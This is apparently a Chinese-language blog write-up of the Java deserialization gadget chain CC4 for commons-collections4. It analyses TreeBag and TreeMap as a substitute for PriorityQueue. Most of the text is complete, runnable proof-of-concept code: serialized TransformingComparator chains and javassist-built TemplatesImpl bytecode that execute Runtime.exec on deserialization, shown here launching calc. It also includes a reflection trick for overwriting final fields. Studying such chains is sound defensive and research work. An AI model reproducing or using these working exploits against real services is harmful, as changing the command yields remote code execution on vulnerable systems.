CC4
ysoserial链中的CC4就只是将CC2使用的InvokerTransformer替换为InstantiateTransformer来加载字节码,具体使用CC3那里已经说过了。
测试环境:
- JDK 8U411
- commons-collections4.0
不多说,给个POC结束:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
package org.example;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};
Transformer chain = new ChainedTransformer(fakeTransformer);
TransformingComparator comparator1 = new TransformingComparator(chain);
PriorityQueue priority = new PriorityQueue(2,comparator1);
priority.add(1);
priority.add(1);
Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chain,chainPart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(priority);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
有点小怪的就是之弹出一个计算机,按照预期应该是两个的,调试器也有点小问题。
补充
测试环境:
- JDK 8U411
- commons-collections4.0
这里补充一个对PriorityQueue的替代链 TreeBag。
直接上对类的分析
TreeBag&TreeMap
在 CC2 中,使用了优先级队列 PriorityQueue 反序列化时会调用 comparator 的 compare 方法的特性,配合 TransformingComparator 触发 transformer。
在这里TreeBag也实现了在反序列化时会调用到比较器,所以这里也可以利用。
TreeBag类位于org.apache.commons.collections4.bag.TreeBag
稍微说明一下Bag:
Bag 接口继承自 Collection 接口,定义了一个集合,该集合会记录对象在集合中出现的次数。它有一个子接口 SortedBag,定义了一种可以对其唯一不重复成员排序的 Bag 类型。
TreeBag 是对 SortedBag 的一个标准实现。TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序。
————
TreeBag 类继承自 AbstractMapBag,实现了 SortedBag 接口。初始化 TreeBag 时,会创建一个新的 TreeMap 储存在AbstractMapBag的成员变量 map 里,而排序使用的 Comparator 则直接储存在 TreeMap 中:
TreeBag类构造方法:

父类AbstractMapBag:

TreeMap定义有comparator:

当对TreeBag反序时:

可以看出这里会读取TreeMap的comparator并调用父类AbstractMapBag的doReadObject()方法:

这里会调用map.put()
,也就是TreeMap的put方法:

看我标重点部分,在前面的简单过程中,这里会进入if条件很正常(并且利用点就是这里,至于为什么后面再说明),这里就会执行compare方法,看一下TreeMap类的compare()方法:

只要我们正确定义了comparator就可以成功执行漏洞。
链子不就出来了吗。
两个点需要说明
第一个
1.父类AbstractMapBag的变量map不可被序列化:

解决方法同样是在TreeBag的writeObject()以及readObject()方法中:
writeObject():

继续跟进this.comparator()
:

然后到会到父类AbstractMapBag的getMap()方法:

返回了我们定义的TreeMap实例,所以前面的comparator()中会调用TreeMap类的comparator():

直接返回了我们定义的comparator。所以序列化的时候会序列化我们定义的comparator:

——
那么看反序列化:

所以这里又将这个comparator反序列化了出来。
那么这样过后就可以解决transient问题。
第二个
2.也就是for循环不能进去的问题:

想要进入for循环,这里与entrySize()有关,而entrySize的值又与in.readInt()有关。
此时同样需要看TreeBag的writeObject()方法,前面还没有分析完:

这里在序列化的时候同样要进入父类一次,AbstractMapBag的doWriteObject()方法如下:

一眼出来,就是和这里的writeInt()
有关,而writeInt()
又与TreeMap的size()函数有关:

此时想到了前面cc2对这个size的描述,直接猜一波和add()相干,TreeMap有add方法,但是还是相当于直接调用的父类AbstractMapBag的add()方法:

里面会调用TreeMap的get()方法:

这里也就是看是否有值,很显然我们并没有往里面传过值,那么mut
就为null,这样就进入TreeMap类的put()方法:

再看put方法源码:

这里很自然就会使得size为1。
——————
但是这里需要注意会调用compare()方法,前面也说过这个方法了,如果没有设置假的话应该会导致弹两个计算机,测试一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
package org.example;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(chainPart);
TransformingComparator comparator1 = new TransformingComparator(chain);
TreeBag treeBag = new TreeBag(comparator1);
treeBag.add("fupanc",1);
}
}
|
成功按照预期弹了两个计算机。想法成立。
但是在前面基本流程讲解的过程中,遗留了一个问题,在反序列化时,目的同样是调用这个put()方法:

所以说会进入TreeMap类的put()方法:

重点其实也标注出来了,主义看前面序列化之前会调用这个put()方法,在这个put()方法中将root变量赋值了,这就让root不再是一个空值,那么在反序列化时为什么可以进入呢,其实还是因为root被transient关键字修饰了,导致不能被序列化,故而在反序列化时也可以进入这个if条件,从而成功调用compare()方法。
——————
OK,那么就通了,只要这里size为1就可以成功使得this.map.size()
返回1,这样序列化的时候就可以序列化1
了,反序列化读取的时候也不是0了,从而成功可以进入for循环。
条件基本都说明了,直接上代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
package org.example;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import java.lang.reflect.Field;
import org.apache.commons.collections4.bag.TreeBag;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
TransformingComparator comparator1 = new TransformingComparator(chain);
TreeBag treeBag = new TreeBag(comparator1);
treeBag.add("fupanc",1);
Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chain,chainPart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(treeBag);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
成功弹出预期的两个计算机
javassist补充
那么同样的利用javassist也是可行的,就是注意一下前面说的需要关注compare的值:

前面的理论过程懂了的话就基本没有问题了,就是下面的key需要为TemplatesImpl类实例:

这里同样需要注意add()时弹出计算机的问题,直接在下面的POC一并解决了
可以构造如下POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.bag.TreeBag;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator1 = new TransformingComparator(transformer);
TreeBag treeBag = new TreeBag(comparator1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
treeBag.add(templates,1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
outputStream.writeObject(treeBag);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.ser"));
inputStream.readObject();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
弹出两个计算机,还是算预期的,add一次,反序列化一次,和CC2那里是有区别的,调试了一下好像是在第一次成功调用transform后抛出异常,导致不能调用到第二个transform。
但是这里同样需要注意add时会调用一次,会先弹一次计算机,所以还是先假再反射更改来防止序列化前弹。
所以最终POC为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.bag.TreeBag;
import java.lang.reflect.Field;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws Exception{
ConstantTransformer fakeTransformer = new ConstantTransformer(1);
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator1 = new TransformingComparator(fakeTransformer);
TreeBag treeBag = new TreeBag(comparator1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
treeBag.add(templates,1);
Field field1 = TransformingComparator.class.getDeclaredField("transformer");
field1.setAccessible(true);
field1.set(comparator1,transformer);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
outputStream.writeObject(treeBag);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.ser"));
inputStream.readObject();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
成功弹出预期的一个计算机,但是不知道为啥这里能直接反射修改final修饰的transformer,正常应该是:
1
2
3
4
5
6
7
8
|
import java.lang.reflect.Modifier;
Field field1 = TransformingComparator.class.getDeclaredField("transformer");
field1.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL);
field1.set(comparator1,transformer);
|
OK,链子完结了。